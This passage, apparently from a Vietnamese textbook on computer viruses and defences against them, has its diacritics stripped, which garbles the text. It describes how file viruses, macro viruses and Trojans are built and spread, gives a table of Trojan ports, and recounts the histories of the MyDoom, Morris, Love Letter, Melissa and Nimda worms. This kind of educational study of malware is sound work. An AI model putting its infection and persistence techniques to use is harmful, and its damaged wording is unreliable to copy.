    b ly nhim (mt s h m t virus d b pht hin) ca hai phng php

    trn. Theo phng php ny virus s tm nhng vng trng trong file righi m ca n vo y.

    u im: gy kh khn trong vic pht hin v dit virus.

    Nhc im: kh khn trong vic vit m virus v kh nng ly lan hp

    v rt t file c vng trng cho virus ghi .

    1.3.2. Phn loi F-Virus

    TF Virus (Transient File Virus) :Virus loi ny khng thng tr, khng chim cc ngt, khi file b ly

    nhim c thi hnh n s chim quyn iu khin v tranh th tm cch ly

    lan sang cc file khc cng nhiu cng tt.

    RF Virus (Residen File Virus) :

    Virus loi ny thng tr bng nhiuk thut khc nhau, chn cc ngt

    m trng tm ngt l 21h, khi ngt ny c thi hnh ng vi cc chc nng

    nht nh v file th n s tin hnh ly lan.

    1.3.3. Cu trc chng trnh F-Virus

    1/. TF-Virus :

    Bao gm bn phn: ly lan, gy nhiu, ph hoi v d liu.

    Phn ly lan: l phn chnh ca virus, c tc dng ly lan bng cch t

    sao chp mnh gn vo cc file khc m n tm thy khi c quyn iu khin.

    Do loi ny khng thng tr nn n tm cch ly lan cng nhiu file cng tt

    khi nm quyn iukhin.

    Phn gy nhiu: l cng vic lm cho m virus tr nn phc tp kh hiu

    to nhiu kh khn cho nhng nh chng virus trong vic tm, dit virus v

    phc hi d liu.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    22/68

    22

    Phn ph hoi: tng t nh B Virus

    Phn d liu: ct gi nhng thng tin trung gian, nhng bin ni ti

    dng ring cho virus v cc d liu ca file b ly, cc d liu ny s c khi

    phc cho file trc khi trao li quyn iu khin cho file.

    2/. RF-Virus :

    V thng tr v chn ngt nh B-Virus cho nn loi ny cng bao gm

    hai phn chnh: phn khi to v phn thn.

    Phn khi to: u tin virus tin hnh thng tr bng cch t chp mnh

    vo b nh hoc dng cc chc nng thng tr ca DOS. Sau m bo

    tnh pop up ca mnh n s lun chim ngt 21h. Ngoi ra, phcv chovicph hoi, gy nhiu, virus cn c th chim cc ngt 8,9,13h Sau khi

    khi to xong, n s tr li d liu c v quyn iu khin cho file b ly

    nhim.

    Phn thn: phn ny c cu trc tng t nh TF-Virus, cng c bn

    phn: ly lan, gy nhiu, ph hoi v phn d liu. Nhng v loi virus ny

    thng tr nn phn ly lan s thc hin trn nhng file yu cu c s dng

    ngt 21h ( b virus chim). Phn gy nhiu ngy trang cng phc tp tinh vi

    hn TF-Virus v n c th gim st h thng khi thng tr.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    23/68

    23

    1.4. VIRUS MACRO

    1.4.1. nh ngha

    V bn cht virus macro l mt hoc mt s macro (c vit bng ngnng WordBasic, ExcelBasic, Visual Baisic) c kh nng kch hot v tin

    hnh ly lan khi ngi dng x l file c tnti chng. i tng ly nhim

    u tin ca cc virus marco l nhng file template ngm nh c np u

    tin mi khi Word hoc Excel khi ng (i vi Word l file

    NORMAL.DOT) v t y chng tip tc ly lan sang nhng file khc trong

    nhng ln lm vic v sau.

    Thng thng, cc virus marco c thi hnh khi ngi dng ch chy

    chng. Mt khc cc virus marco c th thi hnh mt cch t ng c khi

    cc virus marco c tn trng vi tn cc marco t ng hoc trng tn vi cc

    lnh chun ca Word hoc Excel. y chnh l phng php cc virus marco

    t ng c kch hot v ly lan trong nhng iu kin nht nh.

    Mt s v d trong Word v nhng lnh chun nh: FileClose, FileOpen,

    FileSave, FileSaveAs.v nm marco. Cc marco ny s t ng thi hnh khi

    cng victng ng c thc hin.

    Tn T ng thi hnh lnh

    AutoClose ng file son tho

    AutoStart Khi ng Word

    AutoExit Kt thc Word

    AutoNew To file vn bn mi

    AutoOpen M file vn bn

    Nh vy, c th ly lan, virus marco lun phi c t nht mt marco thi

    hnh t ng c. Trong marco ny s c mt on m tin hnh ly lan

    bng cch t sao chp ton b m virus sang cc file khc. Ngoi ra, virus

    marco c th c thm cc phn ph hoi, gy nhim v ngy trang.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    24/68

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    25/68

    25

    1.4.2.2. Du hiu my tnh khi b nhim virus

    u tin Virus c gng kt ni vi trnh son tho Visual Basic Editor v

    hin th hp thng bo:

    Hunter

    preciso remover a protecao ANTIVIRUS ofrecida pelo Hunter

    antesde utilizar este

    servico.

    Sau virus s coppy chnh n ti File X.BAS ti ng dn C:\. S

    tn ti ca file ny xc nhn c s ly nhim ca virus ti mt thi im

    no .

    1.4.2.3. Phng php ca s truyn nhim

    Virus mc ni vi s kin m file ca MicrosoftWord97, bt k fileno

    c m ra bi MicrosoftWords97 s b ly nhim Virus.

    Cc tn gi khc

    Virus macro ny c cc tn gi khc nh l:

    Macro Word97.Hunter

    W97M_Hunter

    WM97/Antiv-A

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    26/68

    26

    1.5. TROJAN

    1.5.1. nh ngha Trojan

    Nhiu ngi ngh rng khi h c mt chng trnh qut virus tt v c

    bn cp nht mi nht th h s an ton, my h s khng b nhim. Trojan haykhng ai c th truy cp my tnh ca mnh, iu ny hon ton sai. Mc ch

    ca ngi vit chng trnh chng virus l pht hin ra con virus mi, khng

    phi l Trojan. Nhng khiTrojan ly nhim n nhiu ngi s dng th nhng

    chuyn vin chng virus s np thm n vo trong chng trnh qut ca mnh.

    Tuy nhin y ch l mt phn rt nh cc Trojan m cc chuyn vin phng

    chng virus pht hin c v avo trong danh sch nhng virus cn dit.

    Hn na, cc chng trnh qut virus ny khng phi l tngla, n s

    khng pht hin ra trojan v bo v ta trong khi ta ang trn mng. Nhiu

    ngi dng khng bit Trojan l g v h ti xung nhng file m khng bit r

    ngun gc.

    1.5.2. Phng php ly nhim Trojan

    Theo s liu thng k ca trung tm BKIS 90% s ngi c hi c ti

    xung, hay sao chp file t u khng th tr li l khng, nhng thc s h thc hin trc vi ngy.

    Trojan c th b ly nhim t rt nhiu con ng khc nhau:

    - Trojan ly nhim t ICQ

    - Trojan ly nhim t file nh km trong mail

    - Trojan truy nhp trc tip

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    27/68

    27

    1/. Trojan ly nhim t ICQ:

    Nhiu ngi ngh rng Trojan khng th ly lan trong khi h ang ni

    chuyn trn ICQ nhng h khng ngh l ngi ang ni chuyn c th gi cho

    h mt con Trojan.ICQ cho php gi mt file .exe nhng n c sa sao cho nhn nh

    c v file l file hnh nh, m thanhV d, c mt con Trojan c kp

    chung vi file hnh nh v ngi gi thay i biu tng ca file .exe thnh

    biu tng ca file .bmp, ngi nhn s chy con Trojan v khng h nghi

    ng, v khi chy file .exe , n vn hin ln hnh nh nh mt file nh. Kt

    qu l trn my ngi nhn c mt con Trojan. l l do hu ht ngi

    dng ni rng h khng chy bt k file l no trog khi h chy n.

    Mt cch ngn nga tt nht l lunkim tra kiu file trc khi chy.

    2/. Trojan ly nhim t file nh km trong mail:

    a s Trojan c ly lan bng mail. Cc hacker hay ch nhn ca con

    Trojan thng nh km file Trojan vo trong mt bc th in t v gi i.

    Khi ngi dng kch hot vo file nh km hay c khi xem th th con Trojan

    c th c kch hot xm nhp h thng v thc hin cc chc nng .

    3/. Trojan truy nhp trc tip:

    Mt my tnh ngay c khi c trang b tt nht vi nhng bin php bo

    v, vi chng trnh chng virus tt nht th cng khng th lm g c trc

    s truy cp trc tip cangi c tnh a Trojan vo trong my tnh.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    28/68

    28

    1.5.3. S nguy him ca Trojan

    a s mi ngi cho rng Trojan khng c g nguy him, v my tnh ca

    h vn lm vic bnh thng v tt c d liu vn cn, nu l mt con virus

    th d liu c c th mt sch hay hot ng khng bnh thng .

    Khi my tnh b nhim Trojan, tt c d liu trn my tnh c th b nguy

    him, thng th ch nhn ca Trojan ny khng xa tt c file, m h s sao

    chp v khai thc nh ti liu b mt ca cng ty, ti khon Internet, ti khon

    c nhn v khi khng c g khc c th thc hin xa d liu. i khi hacker

    cn dng Trojan ci t virus ph hoi nh CIH chng hn. l mt vi v

    d hacker c th thc hin khi h ci thnh cng Trojan.

    1.5.4. Phn loi Trojan

    C nhiu Trojan, nhng ch yu n c chia ra lm cc dng sau:

    1/. Trojan dng truy cp t xa:

    Hin nay, Trojan ny c s dng rt nhiu. Chc nng chnh ca

    Trojan ny l m mt cng trn my tnh nn nhn hacker c th quay li

    truy cp vo my nn nhn.

    Trojan ny rt d s dng. Ch cn nn nhn b nhim Trojan v ch nhn

    ca n c a ch IP ca nn nhn th h c th truy cp ton quyn trn my

    nn nhn.

    Ty loi Trojan m chc nng ca n khc nhau (key logger, download,

    upload file, thc hin lnh..).

    Mt s con Trojan ni ting loi ny nh: netbus, back orifice

    2/.Mc ni bn phm (keylogger):

    N ghi li tt c hnh ng trn bn phm ri lu vo trong mt file,

    hacker s tm n my tnh v ly i file cha ton b thng tin v nhng g

    ngi s dng g vo bn phm.

    V d: kuang keylogger, hooker, kuang2

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    29/68

    29

    3/. Trojan gi mt khu:

    c tt c mt khu lu trong cache v thng tin v my tnh nn nhn ri

    gi v n hacker.

    V d: barok, kuang, bario

    4/. Trojan ph hy:

    Nhng con Trojan ny ch c mt nhim v duy nht l tiu dit tt c cc

    file trn my tnh.

    V d: CIH

    Nhng con Trojan ny rt nguy him v khi my tnh b nhim ch mt

    ln thi th tt c d liu mt ht.

    5/. FTP Tr ojan:

    Loi Trojan ny s m cng 21 trn my tnh v cho tt c mi ngi

    ktni n my tnh m khng cn c mt khu v h s ton quyn ti bt

    k d liu no xung.

    1.5.5. Mc ch ca Trojan

    Nhiu ngi ngh rng hacker dng Trojan ch ph hoi my ca h,

    iu hon ton sai lm. Trojan l mt cng c rt hu hiu gip ngi s

    dng n tm c rt nhiu thng tin trn my tnh ca nn nhn.

    - Thng tin v Credit Card, thng tin v khch hng.

    - Tm kim thng tin v account v d liu b mt.

    - Danh sch a ch email, a ch nh ring.

    - Account Passwords hay tt c nhng thng tin c v cng ty.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    30/68

    30

    1.5.6. Phng thc hot ng ca Trojan

    Khi nn nhn chy file Trojan, nu l Trojan dng truy cp t xa (remote

    access), file server trong Trojan s lun ch lng nghe. N s ch n khi

    nhn c tn hiu ca Client, ngay lp tc n s m ngay mt cng no hacker c th truy cp vo. N c th s dng giao thc TCP hoc giao thc

    UDP.

    Khi hacker kt ni vo a ch IP ca nn nhn, h c th lm bt c iu

    g v ni dung Trojan bao hm nhng iu khin .

    Cn nu Trojan loi Keylogger hay loi gi mt khu th n tin hnh

    vic ghi li tt c nhng g c g trn bn phm. Tt c c lu tr trongmt file theo mt ng dn nht nh. Ti mt thi im no ch nhn ca

    con Trojan s xm nhp vo my tnh thng qua cng sau m con Trojan

    m v ly i file . i vi nhng con Trojan c phng thc gi file

    trong bn thn n th n tin hnh gi file n a ch email xc nh trc.

    i vi Trojan loi ph hy th hot ng ca n l np khi Windows

    khi ng v tin hnh cng vic xa file ca n.

    Mt vi Trojan c np ngay khi Windows c khi ng bng cch

    sa file win,.ini, system.ini hay sa registry.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    31/68

    31

    1.5.7. Cng ca mt s Trojan thng dng

    Tn gi Cng Tn gi Cng

    Satanz Backdoor 666 Silencer 10001

    Shockrave 1981 Shivka-Burka 1600

    WebEx 1001 SpySender 1807

    Doly Trojan 1011 Psyber Sream Server 1170

    Ultors Trojan 1234 VooDoo Doll 1245

    FTP 99CMP 1492 BackDoor 1999

    Trojan Cow 2001 Ripper 2023

    Bugs 2115 Deep Throat 2140

    The Invasor 2140 Phineas Phucker 2801

    Masters Paradise 30129 Portal of Doom 3700

    WinCrash 4092 ICQ Trojan 4590

    Sockers de Troie 5000 Sockets de Troie 1.x 5001

    Firehotcker 5321 Blade Runner 5400

    Blade Runner 2.x 5402 Robo-Hack 5569

    Blade Runner 1.x 5401 DeepThroat 6670

    DeepThroat 6771 GateCrasher 6969

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    32/68

    32

    1.6. INTERNET WORM

    1.6.1. Gii thiu chung

    Su InternetWorm l loi virus c sc ly lan rng, nhanh v ph bin

    nht hin nay. Worm kt hp c sc ph hoi ca virus, c tnh m thm caTrojan v hn htl s ly lan ng s m ngivit virus trang b cho n

    tr thnh mt k ph hoi vi v kh ti tn. Tiu biu nh Mellisa hay Love

    Letter. Vi s ly lan ng s chng lm t lit hng lot h thng my ch,

    lm ch tc ng truyn Internet.

    Thi im ban u, Worm c dng ch nhng virus pht tn bng

    cch tm cc a ch trong s a ch (Address book) ca my m n ly nhim

    v t gi chnh n qua email ti nhng a ch tm c.

    Nhng a ch m virus tm thy thng l a ch ca bn b, ngi thn,

    khch hng... ca ch s hu my b nhim. iu nguy him l virus c th gi

    mo a ch ngi gi l a ch ca ch s hu my hay a ch ca mt c

    nhn bt k no ; hn na cc email m virus gi i thng c ni dung

    git gn hoc hp dn d d ngi nhn m file virus nh km. Mt s

    virus cn trch dn ni dung ca mt email trong hp th ca nn nhn tora phn ni dung ca email gi mo. iu ny gip cho email gi mo c v

    tht hn v ngi nhn d b mc la. Nhng vic ny din ra m ta khng

    h hay bit. Vi cch hon ton tng t trn nhng my nn nhn khc,

    Worm c th nhanh chng ly lan trn ton cu theo cp s nhn. iu l

    gii ti sao ch trong vng vi ting ng h m Mellisa v Love Letter li c

    th ly lan ti hng chc triu my tnh. Ci tn ca n , Worm hay "Su

    Internet" cho ta hnh dung ra vic nhng con virus my tnh b t my tnh

    ny qua my tnh khc trn cc "cnh cy" Internet.

    Vi s ly lan nhanh v rng ln nh vy, Worm thng c ngivit

    ra ci thm nhiu tnh nng c bit, chng hn nh kh nng nh cng mt

    ngy gi v ng lot t cc my nn nhn (hng triu my) tn cng vo mt

    a ch no . Ngoi ra, chng cn c th mang theo cc BackDoor th ln

    my nn nhn, cho php ch nhn ca chng truy nhp vo my ca nn nhnv lm mi th nh ngi trn my mt cch bt hp php.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    33/68

    33

    Ngy nay,khi nim Worm c m rng bao gm c cc virus ly

    lan qua mng chia s ngang hng peer to peer, cc virus ly lan qua a USB

    hay cc dch v gi tin nhn tc thi (chat), c bit l cc virus khai thc cc

    l hng phn mm ly lan.

    Cc phn mm (nht l h iu hnh v cc dch v trn ) lun tim n

    nhng li/l hng an ninh nh li trn b m, mkhng phi lc no cng c

    th d dng pht hin ra. Khi mt l hng phn mm c pht hin, khng lu

    sau s xut hin cc virus c kh nng khai thc cc l hng ny ly

    nhim ln cc my tnh t xa mt cch m thm m ngi ch my hon ton

    khng hay bit. T cc my ny, Worm s tip tc b qua cc my tnh khc

    trn mng Internet vi cch thc tng t.

    Ta c th thy c s nguy him ca su Internet qua vic tm hiu su

    MyDoom.

    Ngy xut hin su MyDoom u tin: 26/01/2004

    Ngy lan trn n Vit Nam: 27/01/2004

    Cuctn cng ca MyDoom ln nh im vo ngy 31/01/2004 khi chng triu email nhim MyDoom cng ng lot gi ti Website ca Yahoo

    lm nghn mch.

    Bc tng la v b lc (Filewall v Filter) ngay lp tc c dng ln

    ngn chn v loi b tt c cc email c tiu : Test, Hi, Hello, Mail

    Delivery System, Mail Transaction Failed, Server Report, Status Error d y

    cng l tiu Yahoo hay s dng.

    D thit lp h thng bo v kp thi, trang web Yahoo t 8h17 n

    12h10 trong ngy 31/01/2004 cng b tn cng bng lnh DoS (Denial of

    Service) v khi g dng lnh http://www.mail.yahoo.com/ th ng dn

    c thay th bng http://www.search.com/. Mi hot ng trn Website ny

    gn nh t lit.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    34/68

    34

    Bin th su mi c gil MyDoom.B (cn c tn l Norvarg.A,

    Mimailk)c kh nng chng truy cp vo cc trang web cung cp phn mm

    chng virus.

    Trong chng trnh vit ban u ca MyDoom ch to ln sng mail rc

    v tp trung chun b cho t ph hoi tng lc t ngy 01- 12/02/2004 vo

    website ca SCO Group Inc. Vi bin th mi MyDoom.B c b sung

    thm cu lnh tn cng thm website Microsoft.

    Su MyDoom c vit c ch nh l khng tn cng vo cc a ch

    email ca cc c quan chnh ph, mt s trng i hc, v mt s hng bo v

    my tnh, k c Symantec.Cc my tnh chy h iu hnh Windows XP ca Microsoft c nguy c

    b ly nhiu nht.

    Theo cc chuyn gia cng ngh, thit hi ti chnh do su MyDoom k

    c vic nh ch mng Internet v thit hi c tnh bng con s hng t .

    Phn mm dit MyDoom c cp nht u tin vo ngy 28/01/2004

    (ca hng Symantic)

    160.000 email nhim virus c gi n cho mt cng ty ch trong 60

    pht ti USA.

    M nhiu cng nht: 71 cng , t cng 3127 n cng 3198. Symantec

    thng k c c ti 2.100 h thng khc nhau trn mng ang qut cc ca

    sau do MyDoom to ra.

    50.000 h thng my tnh b nhim virus v b khng ch t xa, nguy ccho t tn cng tng lc.

    300 triu th mang virus c pht tn, chim 1/12 tng lng email lu

    chuyn trn Internet trong hai ngy 500.000 my tnh b nhim MyDoom ch

    sau 3 ngy (k t khi pht hin su).

    142 quc gia trn th gii b nhim.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    35/68

    35

    1.6.2. Cc giai on pht trin ca su Internet

    Thng qua s phn tch ca nhng con suInternet in hnh trong cc

    giai on pht trin ca su Internet, ta c th thy nguyn tc xy dng su

    Internet, tc pht trin ca loi virus ny v mc nguy him ca n.

    1.6.2.1. Su Morris

    Su Morris l su my tnh u tin c pht tn qua Internet v cng l

    con su u tin thu ht c s ch ng k ca cc phng tin thng tin

    i chng.

    Tc gi ca n l Robert Tappan Morris, mt sinh vin ti i hc

    Cornell. Su Morris c th ln mng vo ngy 2 thng 11 nm 1988 t hcvin MIT, n c pht tn t MIT che du thc t l con su c b t

    ngun t Cornell. (Robert Tappan Morris hin lgio s ti MIT.)

    Sai lm nghim trng bin con su t ch ch l mt th nghim tr

    thc c tim nng v hi thnh mt su tn cng t chi dch v y ph hoi

    l ti c ch ly lan. Con su xc nh xem c xm nhp mt my tnh mi

    hay khng bng cch hi xem hin c mt bn sao no ang chy hay cha.

    Nhng nu ch lm iu ny th vic xa b n li qu d dng, bt c ai cng

    ch phi chy mt tin trnh tr li rng "c" khi c hi xem c bn sao

    no cha, v con su s trnh. trnh chuyn ny, Morris thit k con su

    t nhn i vi xc sut 40%, bt k kt qu ca vic kim tra ly nhim l g.

    Thc t cho thy t l nhn i ny l qu cao v con su ly lan nhanh chng,

    lm nhim mt s my tnh nhiu ln.

    Ngi ta thng k rng c khong 6.000 my tnh chy Unix b nhimsu Morris. Paul Graham ni rng "Ti chng kin ngi ta xo xo ra

    con s ny, cngthc nu n nh sau: ai on rng c khong 60.000 my

    tnh ni vi Internet, v con su c th nhim 10% trong s ". M c

    tnh thit hi vo khong t 10 n 100 triu la.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    36/68

    36

    Robert Morris b x v buc ti vi phm iu lut nm 1986 v lm

    dng v gian ln my tnh (Computer Fraud and Abuse Act). Sau khi chng n,

    anh ta b pht 3 nm n treo, 400 gi lao ng cng ch v khon tin pht

    10.050 la M.

    Su Morris i khi c gi l "Great Worm" (Su khng l) do hu qu

    nng n m n gy ra trn Internet khi , c v tng thi gian h thng

    khng s dng c, ln v nh hng tm l i vi nhn thc v an ninh v

    tin cy ca Internet.

    1.6.2.2. Su Kakworm

    Kakworm (KAV) l mt con su. N c xy dng vi mc ch xmnhp vo ch d b tn thng ca s bo v trnh duyt Internet Explorer hay

    chng trnh Outlook Express. Bn nng cp sa cha cho tnh d b tn

    thng ny c Microsoft a ra v cn thit phi nng cp li ngay (theo

    thng co an ton MicrosoftMS99-032). Nhng trnh duyt Microsoft v th

    tn in t cha b nh hng.

    KAV c gn vo trong ch k HTML ti tin nhn. Ngi dng khng

    nhn thy n bi v khng c dng vn bn no c th hin th n ra mn hnh

    (KAV c vit bng JavaScript).

    Ngi dngkhng cn kch hot vo bt k file nh km no hoc thc

    hin bt k hot ng no kch hot KAV. Ch cn ngi dng xem th l

    con su KAV c th xm nhp vo h thng.

    c kch hot mt ln, KAV lu file KAK.HTA vo trong th mc khi

    ng ca Windows. Ln sau khi my tnh c khi ng, KAK.HTA chy v

    to ra KAK.HTA trong th mc Windows.

    Trong thng no cng c mt ln sau nm gi chiu con su KAK s hin

    th thng bo Kagou - Anti - Krosoft ni khng phi l hm nay v sau tt

    my tnh.

    KAK c xy dng da vo Bubbleboy, con su u tin c th lan

    truyn m khng cn ngi dng phi m file nh km.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    37/68

    37

    1.6.2.3. Su Love Letter

    Trong dng nguyn bn ca con su gi chnh n cho nhng ngi dng

    qua mt file nh km theo th tn in t. Ch tin nhn l I LOVE YOU

    v ni dung tin nhn l Mt cch chn thc kim tra bc th tnh yu nhkm c gi n t ti. File nh km c gi LOVE -LETTER-FOR-

    YOU.TXT.vbs (m rng kp .txt.vbs). Khi kch hot vo file nh km chy

    (gi thit rng my tnh ci Windows Scripting Host) v chu trnh ly

    nhim li bt u ln na.

    S nhn i l cn thit cho con su ny ging nh khi n c gng khai

    thc s d dng ca hm s dng. Nhng chng trnh th tn v th mc theo

    s mc nh khng cho thy nhng phn m rng ca file. Trong trng hp

    ny nu my tnh c tp hp ty chn mc nh th file nh km l ra ging

    nh gi LOVE -LETTER-FOR-YOU.TXT v nh vy l mt file vn bn thay

    v mt file c th thc hin.

    Trong thao tc, con su thc hin vi hot ng:

    N kim tra file WinFAT.32.exe trong th mc ti xung t Interner

    Explorer. Nu khng tm thy con su thay i trang khi ng Internet

    Explorer ng k ti mt trong mt s website ni file WIN-BUGSFIX.exe s

    c ti xung v tp hp chy trn my tnh cho ln tip theo.

    Con su s sao chp chnh n vo hai ch ni n s thi hnh khi ng li

    trn mi my tnh khc.

    N s c gng gi chnh n cho mi a ch trong danh sch a ch

    Outlook .

    Con su tm kim tt c nhng file c phn m rng l VBS, VBE, JS,

    JSE, CSS, .WSH, SCT hoc HTA. Nu tm thy, chng s ghi ln vi virus

    v phn m rng ca n i tn thnh .VBS.

    File ha vi phn m rng l JPG hoc JPEG cng c ghi ln vi

    virus v phn m rng .VBS s c thm vo tn ca n.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    38/68

    38

    Nhng file a phng tin vi phn m rng l MP2 v MP3 th c

    sao chp ti mt file mi cng tn v phn m rng .VBS cng c thm

    vo.

    Con su tm kim mt chng trnh client MIRC v nu tm thy, s th

    mt bn sao v file HTML c thit k gi con su qua MIRC .

    Nhng file virus nguyn bn c s nh hng rt nhiu, nhiu bin th

    pht trin nhanh chng v tri rng ra. Hn 20 bin th c bo co v

    trong thi gian s lng bin th thc t nhiu hn s lng bin th

    c bo co. Mt vi n tng nht c th ni n:

    Ch fwd: khng c ni dung no, file nh km: very funy.vbs.

    Ch Ngy nhng ngi m: c ni dung Chng ta c th hot ng

    rt t th gi ca bn khong 326.92 USD chongy l c bit nhng ngi

    m. Chng ti gn mt danh sch n hng chi tit ti a ch email ny.

    Xin in ra file nh km v gi n trong mt ch an ton. Cm n mt ln na

    v mong c mt ngy nhng ngi m hnh phc:

    [email protected], file nh km: mothersday.vbs.

    Ch : virus ALERT!!!, gi t: [email protected], ni dung:

    khch hng Symantec thn mn, trung tm nghin cu AV ca Symantec bt

    u nhn nhng bo co lin quan ti VBS.LoveLetter. Mt virus vo mt bui

    sng sm ngy 4/5/2000 GMT. Con su ny xut hin bt ngun t vng Thi

    Bnh Dng Asia. S phn phi ca virus ny lan rng v hng trm trong

    hng nghn nhng c my c bo co b ly nhim, file nh km:

    protect.vbs.

    Ch : Lm sao bo v chnh ta khicon rpILOVE !, ni dung: t

    y th tas c cch loi tr virus tnh yu, file nh km: Virus-Protection-

    Intruction.vbs.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    39/68

    39

    1.6.2.4. Su Melissa

    Melissa l mt s kt hp gia virus marco v con su email. Con su

    u tin c tm thy vo th su, ngy 26 thng 3 nm 1999 v s dn tri ra

    c thc hin rt nhanh chng xung quanh th gii .V c bn, khi mt ngi dng kch vo file .DOC nh km theo th

    in t chng s chy c virus marco. Mt trong nhng vic u tin m virus

    s lm l nh dng v gi mt thng bo ti 50 a ch u tin trong danh

    sch a ch Outlook. Ch liu l Tin nhn quan trng t .V ni dung tin nhn: y l ti liu m bn hi v ....(khng cho bt

    c ai khc thy).

    Gn lin ti thng bo ny l ti liu hin thi ang lm vic. T khi

    Mellissa l virus v ly nhim file NORMAL.DOC n c th gi file ly nhim

    ra ngoi ging nh l ci g ht sc quan trng t my tnh nhn c.

    Vo trng hp him c ni pht, gi, ngy v thng l ging nhau (8

    gi 8 pht ngy 8 thng 8) virus s chn mnh Hai mi hai, thm vo b

    ba t ghi im, cng vi nm mi im cho vic s dng tt c nhng bc th

    ca ti. Tr chi kt thc.

    Phn phi ban u ca virus Melisa l vo mt file gi l LIST.DOC ci

    m cha ng nhng mt khu ca nhng website X-rated, nhng website

    khng lnh mnh.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    40/68

    40

    1.6.2.5. Su Nimda

    Nimda l mt trong s nhng con su phc tp c xy dng theo s

    thu mn. N ly nhim file, thc hin dn tri qua ng Website, ng

    th tn in t, v s dn tri qua khai thc vng mng cc b. N ly nhim ttc cc phin bn ca Windows t Windows95 n Windows2000 cng nh IIS

    ca Microsoft.

    Nimda cng ly lan qua Website ng khng kn v vy m cc trnh

    duyt s ly lan c vic nhn trang Web. Cui cng, Nimda l con su u

    tin s dng my tnh ca ngi dng qut mng cc b xc nh nhng c

    my c th b tn thng ng sau bc tng la c th tn cng (trc y

    ch nhng con su ly lan qua server mi lm vic ).

    Nimda s dng mt vi nhc im c bit n trong nhng server IIS

    Microsoft. Mt s nhc im c nhc n ti a ch:

    http://www.microsoft.com/tech/security/bulletin/ms00-078.asp

    http://www.microsoft.com/tech/security/bulletin/ms01-020.asp

    Su Nimda s dng mt s phng php sau lan truyn:

    - T khch hng n khch hng qua th tn in t v ly nhim

    file.EXE

    - T khch hng n khch hng qua mng chia s cc b.

    - T ngi phc v mng n khch hng qua trnh duyt ca nhng

    website.

    - T khch hng n ngi phc v mng qua s tch cc qut v s khai

    thc tnh d b tn thng ca Microsoft IIS 4.0/5.0 directory travarsal.

    - T khch hng n ngi phc v mng qua s qut nhng ca sau

    c li bi con su Code Red II v sadmind/IIS.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    41/68

    41

    1/. Ly nhim file:

    Nimda hnh ng ging nh bt k file ly nhim chun no. N tm

    kim nhng file .EXE v thm vo nhng file chnh n nh mt ti nguyn.

    Khi file .EXE c mt ngi s dng ti xung ri th s nh hng ca nli c tng kh nng lan rng. ng thi, nu file ly nhim trn mt

    my tnh trong mng cc b, nhng file chia s c th cng s lm lan rng

    ra s nh hng ca con su Nimda.

    Khi mt file ly nhim thc hin ly nhim qua nhng file khc.Nimda

    thc hin xa file ny sau khi n kt thc nhng khng th lun lun lm c

    iu ny. thc hin iu n to ra WININI.INI vi nhng lnh xa

    file trong ln Windows khi ng sau .

    Nimda tm kim file ly nhim. Nhng file .EXE gy ly lan bng cch

    tm kim cc kha v tt c kha khc.

    [SOFTWARE \ Microsoft\Windows\currentVersion\App Paths]

    [SOFTWARE \ Microsoft\Windows\currentVersion\Explorer \Shell Th

    mc]

    c bit, file WINZIP32.EXE th khng b ly lan.

    2/. Vai tr l su Email:

    Theo kha cnh khc, Nimda hnh ng ging nh cc con su khc. N

    tm kim a ch danh sch email khch hng trong my nn nhn. V nhng

    file HTML trn my tnh cho a ch email v sau gi chnh n cho

    nhng a ch ny trong mt file nh km.

    Loi u tin c nh ngha nh loi Vn bn/Html nhng khng

    cha ng ni dung g c. Loi th hai c nh ngha nh loi m

    thanh/X-Wav ", nhng cha ng mt file nh km c tn l README.EXE,

    l mt chng trnh.

    Nimda s dng nghi thc SMTP ca chnh mnh gi email.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    42/68

    42

    3/. Vai tr l su Web:

    Nimda qut Internet cho nhng server mng IIS Micrososft. Khi mt

    server c tm thy, nu tm c l hng bo v c th thm nhp vo, th

    Nimda vo v sa i nhng trang Web ngu nhin trn server (cng nhnhng file .EXE trn server). Nhng s ci bin cho php con su c th lan

    truyn ti ngi dng mt cch n gin ngay c khi duyt Website .

    lm iu , Nimda tm kim m ngun ca file .HTML v .ASP. Khi

    tm thy,n thm mt trnh JavaScript cui file .HTML v .ASP. M

    JavaScript ny m mt file c tn README.EML khi c np bi mt trnh

    duyt mng . README.EML l dng khc ca con su, c t vo trong th

    mc ni m file thc thi nhng file .HTML c tm thy trn. Nhng trnh

    duyt cha c lp cc l hng s t ng thc thi nhng file ny m khng

    cn ngi dngphi kch hot vo. Ngi dng s khng nhn thy con su

    hot ng khi n chy trong mt ca s thu nh.

    Ly nhim qua nhng file chia s. S ly lan nhng my tnh trn mt

    mng cc b s tm kim my tnh khc thng qua file chia s m. Khi no tm

    thy, Nimda s chuyn h thng hoc file n (RICHED20.DLL) ln trn my

    tnh khc trong bt k th mc no ni nhng file vn bn c ui .DOS hoc

    .EML c tm thy. Sau , nu nhng file ny c m bng Word,

    Wordpad, hoc Outlook nhng file n RICHED20.DLL cng s t ng c

